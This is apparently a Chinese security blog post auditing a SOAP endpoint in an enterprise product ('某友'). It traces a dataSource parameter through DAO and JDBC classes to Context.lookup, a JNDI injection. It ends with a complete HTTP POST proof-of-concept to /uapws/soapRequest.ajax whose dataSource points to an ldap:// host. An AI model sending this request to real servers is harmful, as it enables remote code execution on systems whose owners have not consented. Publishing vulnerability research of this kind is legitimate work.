免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
首先查看其中一个模块的映射配置
经分析,这里所有的映射均可利用,以SoapRequestAction类为例
首先查看SoapRequestAction的流程,在execuse方法中获取了两个参数,ws、soap
然后将两个参数传进sendRequest方法,在sendRequest方法中,会根据传进的ws参数去查找对应的soap接口服务
传进来的soap参数则作为soap接口参数来进行请求
从上面流程得知这是一个soap服务
参数表现为:
ws=webservice接口&soap=webservice接口参数
接下来查找可以利用的webservice接口
在IMsgCenterWebService.wsdl接口文档中,存在很多个字符串参数dataSource,根据字面意思,假设他存在一个数据源连接功能
需要跟进相应方法查看参数是否真的是数据源连接功能,能不能用作jdbc反序列化
根据接口文档名称,得到接口类nc.itf.msgcenter.IMsgCenterWebService,我们以uploadAttachment方法为例跟进
图中接口对应的实现类为
MsgCenterWebServiceImpl.class
在该实现类的uploadAttachment方法中又调用IMsgCenterService接口的实现
查看IMsgCenterService接口
对应的实现类
MsgCenterServiceImpl.class
在uploadAttachment方法中,会将我们前面注意到的dataSource等参数传进resetInvacationInfoByMsgID方法做处理
跟进resetInvacationInfoByMsgID方法,参数传进来后,首先是做了一个初始化。具体为:将参数dataSource设置为UserDataSource的值,以供后面的流程调用
另一个传进的参数pk_sourcemsg则是传进retrieveByPK方法做查询
继续跟进流程
BaseDAO.class
在retrieveByPK方法中,封装了一个manager对象,这里的dataSource是上面说到设置的UserDataSource值,即传进的参数dataSource
跟进createPersistenceManager方法
PersistenceManager.getInstance返回的是他的子类JdbcPersistenceManager
所以跟进JdbcPersistenceManager
JdbcPersistenceManager.class
在JdbcPersistenceManager对象中做了一次初始化,此时的dataSource就是传进的参数dataSource
接着进入到init方法,在init方法中,又使用JdbcSession对象来处理dataSource
查看JdbcSession.class
在构造函数JdbcSession里对dataSource进行连接
具体看getConnection方法:
往下就是触发流程了
DataSourceCenter.class
变量name是传进的参数dataSource,在DataSourceCenter.getConnection方法中将参数传递到Context.lookup,到这里就可以确定这是一个jndi注入了,与JDBC反序列化无瓜
根据IMsgCenterWebService.wsdl接口文档构造soap参数
POST /uapws/soapRequest.ajax HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 783
Connection: close
ws=nc.itf.msgcenter.IMsgCenterWebService&soap=<env:Envelop xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sn="http://msgcenter.itf.nc/IMsgCenterWebService">
<env:Header/>
<env:Body>
<sn:uploadAttachment>
<dataSource>ldap://0.0.0.0:1389/Test</dataSource>
<msgtype>?</msgtype>
<pk_sourcemsg>?</pk_sourcemsg>
<filename>?</filename>
<file>?</file>
</sn:uploadAttachment>
</env:Body>
</env:Envelop>
在审计时一度以为这是一个jdbc反序列化,给人错觉的地方太多了,好在最后验证时成功了,且报错的内容与过程看到的一致
后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧
原文始发于微信公众号(Lambda小队):手把手教你审计某友漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论